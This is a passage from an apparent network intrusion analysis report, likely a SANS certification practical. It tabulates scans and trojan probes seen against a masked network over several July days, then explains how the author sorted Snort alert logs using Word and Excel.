210.222.31.100	Syn/fin			
209.163.147.229	Port scan	.97.185		Also one packet sent to MY.NET.111.71: 4627

July 12: A summary of the main activity on July 11

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
24.232.24.133	SubSeven trojan scan	.4.x	27374	
198.62.155.10,11, 101-109,111	Trojan scans			
4.54.218.182	SubSeven trojan scan	Multiple blocks	27374	
211.112.142.2	Linuxconf scan	Multiple blocks (approx 12,000 hits)	98	
62.224.210.222	Portscans			
4.54.38.36	Network scan			

24.3.27.119	Port scan	.181.88		

July 15: Major activity on July 14

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
MY.NET.1.3	Port scan	.101.89; .101.142		Only one scan directed against .101.142; all other scans directed at .101.89. Only one scan conducted during this period.
198.211.16.69	Subseven, BO trojan scans	.217.x		
152.1.1.174	Port scan	.217.98		
128.122.20.14	Port scan	.145.46		

July 18: Major activity on July 17

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
24.2.123.9	Class B Network scan	Entire class B		
MY.NET.1.3	Port scan	.101.89		8 scans conducted, each scan lasting less than one minute.
24.6.132.179	Port scan	.130.14		
213.8.203.144	Telnet port scan	.1.x		
207.155.184.72	DNS scan against .1.3; port scans against .97.24	.1.3; 97.24	53	MY.NET.1.3 was separately identified as a possibly compromised host. It may be a DNS server. Packets to MY.NET.97.24 were sent from port 53. This may be a normal DNS transaction.
205.156.1.150	Port scan	.60.11		
202.99.188.39	Trojan scan	.97.114		
199.178.222.88	Port scan	.153.109-112		
193.136.188.1	Port scan	.159.216		
192.193.195.132	Malformed packets	.181.111;.53.56		

148.243.96.74	Malformed packets	.70.241	6688	A lot of activity on port 6688 but can't find any known reference for it.
144.41.242.217	Malformed packets	.110.57	6688	More 6688 traffic

July 25: Major activity on July 24

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
MY.NET.1.3	Port scan	.101.89		Activity from probably compromised host. Scans occurred 4 times in this period, each scan lasting less than one minute.
216.93.53.130	Port scan	.253.105		
212.93.4.26	Port scan	.98.154		
211.7.235.4	POP2 scan using Syn/Fin flags	.1.x		
209.123.109.175	Randomised port scan?	.98.118		
207.79.245.5	Port scan	.60.8		
152.1.1.174	Port scan	.217.42		
141.61.1.23	Port scan	.115.82		
132.250.1.131		.97.124		

July 27: Major activity on July 26

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
200.241.187.2	Class B Network scan	Entire class B		
172.166.148.246	Telnet scan?	.60.16	23	

July 28: Major activity on July 27

Source IP	Type of attack/activity	Destination IP	Destination	Comments

		(all MY.NET)	Port	
211.60.222.33	DNS scan	All		
24.31.224.110	ftp scan	All		
193.251.15.20	ftp scan			
MY.NET.1.3	Port scan	.101.89		Probable compromised host. One scan occurred during this period.
128.220.101.100	Port scan	.60.8		
210.84.179.196	Port scan starting from 1; Also, one Syn/Fin packet and 3 other malformed packets on port 113	.60.8		Port 113 is associated with the Invisible Ident Deamon [sic] and Kazimas
207.206.126.223	Port scan	.253.105		
141.61.1.23	Port scan	.115.82		

July 29: A summary of the activity on July 28

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
MY.NET.1.3	Port scans	.101.89		7 port scans conducted during this period.
MY.NET.101.192	Port scan			Possibly a third compromised host?
129.2.86.7	Port scan	.60.8		
128.194.85.201	Malformed packets	.110.57		
63.29.27.192	ftp scan	.120.x and others		
212.188.191.36	Port scan	.97.215		
216.127.150.136	Randomised port scan?	.253.114		

July 30: A summary of the activity on July 29

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
211.38.95.138	ftp scan, telnet scan	All		
MY.NET.1.3	Port scan	.101.89		Probable compromised host. 2 scans occurred during this period.
141.61.1.23	Port scan	.115.82		
216.35.217.57	Port scan	.10.21		
213.167.197.18	ftp scan	.130.x		
194.165.162.132	Trojan scan	.98.185		
207.155.184.72	Port scan; DNS scan against MY.NET.1.4	.97.233; .1.4		MY.NET.1.4 was separately identified as a possible compromised host.
203.135.62.99	Trojan scan	.97.165		
194.165.170.8	Trojan scan	.97.165		Same target host as 203.135.62.99 above
207.155.88.200	DNS scan	.1.x - .20.x; .25.x - .26.x		
24.3.39.44	Scan for trojans Kazimas, Subseven, RemoteGrab		7000, 7003	Port 7000 is associated with known trojans Kazimas, Subseven, and RemoteGrab. Port 7003 has no association that I can find.

July 31: A summary of the activity on July 30

Source IP	Type of attack/activity	Destination IP (all MY.NET)	Destination Port	Comments
MY.NET.101.92	Port scan	.97.219		Probable compromised host.
MY.NET.1.3	Port scan	.101.89		Probable compromised host. 3 scans occurred during this period.
62.158.178.126	Malformed packets	.217.18		
38.31.46.97	Trojan scan	.97.212		

24.3.39.44	Scan for trojans Kazimas, Subseven, RemoteGrab	1.13; 6.33; 6.42; 6.45; 6.48; 60.12; 60.43; 70.142	7000, 7003	Port 7000 is associated with known trojans Kazimas, Subseven, and RemoteGrab. Port 7003 has no association that I can find. This attacker was also detected the previous day.
24.25.88.157	Malformed packet	.97.119		
213.188.8.45	TCP retries?	various		4 attempts on each address
202.147.24.142	ftp scan	All		
200.53.252.61	Malformed packets	.97.173		
192.193.195.132		.97.215		
137.132.46.183	Napster probe	.217.38		
130.91.23.20	Napster transmit?	.217.38		Is MY.NET.217.38 running Napster?
12.78.254.76	Unknown	various		

Part IV - Methodology used for Network Analysis Report

First of all, I downloaded all the files from the SANS website, on the understanding that they were all required for the Network Analysis. I subsequently realized that only some of these files were required.

I saved these files in Microsoft Word format and renamed them according to the date on which the log was generated. E.g. for traffic generated on June 30, the log would have been generated on July 1, so I named that file "july01.doc". In hindsight, it would have been less confusing to name them after the date on which the traffic was generated.

At first, I tried to convert the log files into a table format, which I then cut and pasted into Microsoft Excel. (It would be much easier if Snort log files were generated in a spreadsheet-compatible format, as the BlackICE log files are, but I guess that would be too much to ask of Linux programmers.) For the larger files, this was not possible without considerable editing.

For the smaller files, after some experimentation, I found the most effective way to do this was to generate the tables using the spaces between fields.

One problem with this was that Snort uses a colon to separate the IP address from the port number. Since Snort also uses a colon to separate hours, minutes and seconds in the time field, I could not simply do a global search-and-replace on this character.

For example, Suppose the file consisted of the following three a single records:

```
Jun 30 00:35:44 132.250.1.131:53 -> MY.NET.97.37:1685 UDP
Jun 30 00:43:56 62.180.57.86:27017 -> MY.NET.97.13:2030 UDP
Jun 30 01:36:19 203.109.135.86:43415 -> MY.NET.110.249:6346 FIN ***F****
```

I began by replacing "Jun[sp]" with "Jun" to remove the space after the month. (Excel recognizes a formation such as "Jun30" as a date and converts it automatically.)

After replacing the spaces after "Jun" with nulls, it looked like this:

```
Jun30 00:35:44 132.250.1.131:53 -> MY.NET.97.37:1685 UDP
Jun30 00:43:56 62.180.57.86:27017 -> MY.NET.97.13:2030 UDP
Jun30 01:36:19 203.109.135.86:43415 -> MY.NET.110.249:6346 FIN ***F****
```

I then converted this to a table, using spaces as field separators:

Jun30	00:35:44	132.250.1.131:53	->	MY.NET.97.37:1685	UDP		
Jun30	00:43:56	62.180.57.86:27017	->	MY.NET.97.13:2030	UDP		
Jun30	01:36:19	203.109.135.86:43415	->	MY.NET.110.249:6346	FIN	***F****	

I then cut and pasted this table into an Excel spreadsheet. After deleting the fourth column (which is unnecessary), the data looked like this:

Jun30	00:35:44	132.250.1.131:53	MY.NET.97.37:1685	UDP	
Jun30	00:43:56	62.180.57.86:27017	MY.NET.97.13:2030	UDP	
Jun30	01:36:19	203.109.135.86:43415	MY.NET.110.249:6346	FIN	***F****

I inserted a list of sequentially increasing numbers in column A, so that I would always be able to restore the original order if I wanted. Then I highlighted the columns containing the Source IP:Port Number and the Destination IP:Port Number and copied the two columns back into MS-Word.

132.250.1.131:53	MY.NET.97.37:1685
62.180.57.86:27017	MY.NET.97.13:2030
203.109.135.86:43415	MY.NET.110.249:6346

I then converted this table back to text format, specifying colons as separators:

```
132.250.1.131:53:MY.NET.97.37:1685
62.180.57.86:27017:MY.NET.97.13:2030
203.109.135.86:43415:MY.NET.110.249:6346
```

It was then a simple matter to convert this back to a table, again using colons as separators. This time, I got a table of four columns:

This table was then cut and pasted back into the Excel spreadsheet:

A	B	C	D	E	F	G	H	I
1	Jun30	00:35:44	132.250.1.131	53	MY.NET.97.37	1685	UDP	
2	Jun30	00:43:56	62.180.57.86	27017	MY.NET.97.13	2030	UDP	
3	Jun30	01:36:19	203.109.135.86	43415	MY.NET.110.249	6346	FIN	***F****

This enabled my to sort the data using almost any combination; by sorting on column A, I could restore the original order. By sorting on column D, I could quickly enumerate all the attacking IPs, and determine if they had attacked at different times throughout the day, or if they were attacking more than one host. By sorting on column E, I could list all the destination ports, to see if any hosts were being attacked from multiple sources.

There are probably better ways to get these statistics, but for a quick-and-dirty approach, it worked fairly well for the smaller log files.

For the larger log files, I found it was necessary to go through them using a word processor. (Microsoft Wordpad worked better than MS-Word, since it didn't waste time spell-checking or calculating the page numbers.) The larger files contained a significant number of hits from a single IP address; for example, an attacker doing a network scan of the entire class B network would generate close to the maximum of 65,535 hits. Once I had identified this as a class B network scan, I recorded the summary information, highlighted these hits, and deleted them; this reduced the file to a manageable size.

Once this had been done, I sorted based on the Source IP address, went through the data and listed each attacker, along with an educated guess as to the type of attack. For the first few files, I listed each attacker; in subsequent files, as I gained a better "feel" for what I was seeing, I was able to ignore most of the attacks and simply listed the ones that struck me as important.

By listing the attackers in tables, I was able to start recognizing patterns in the data.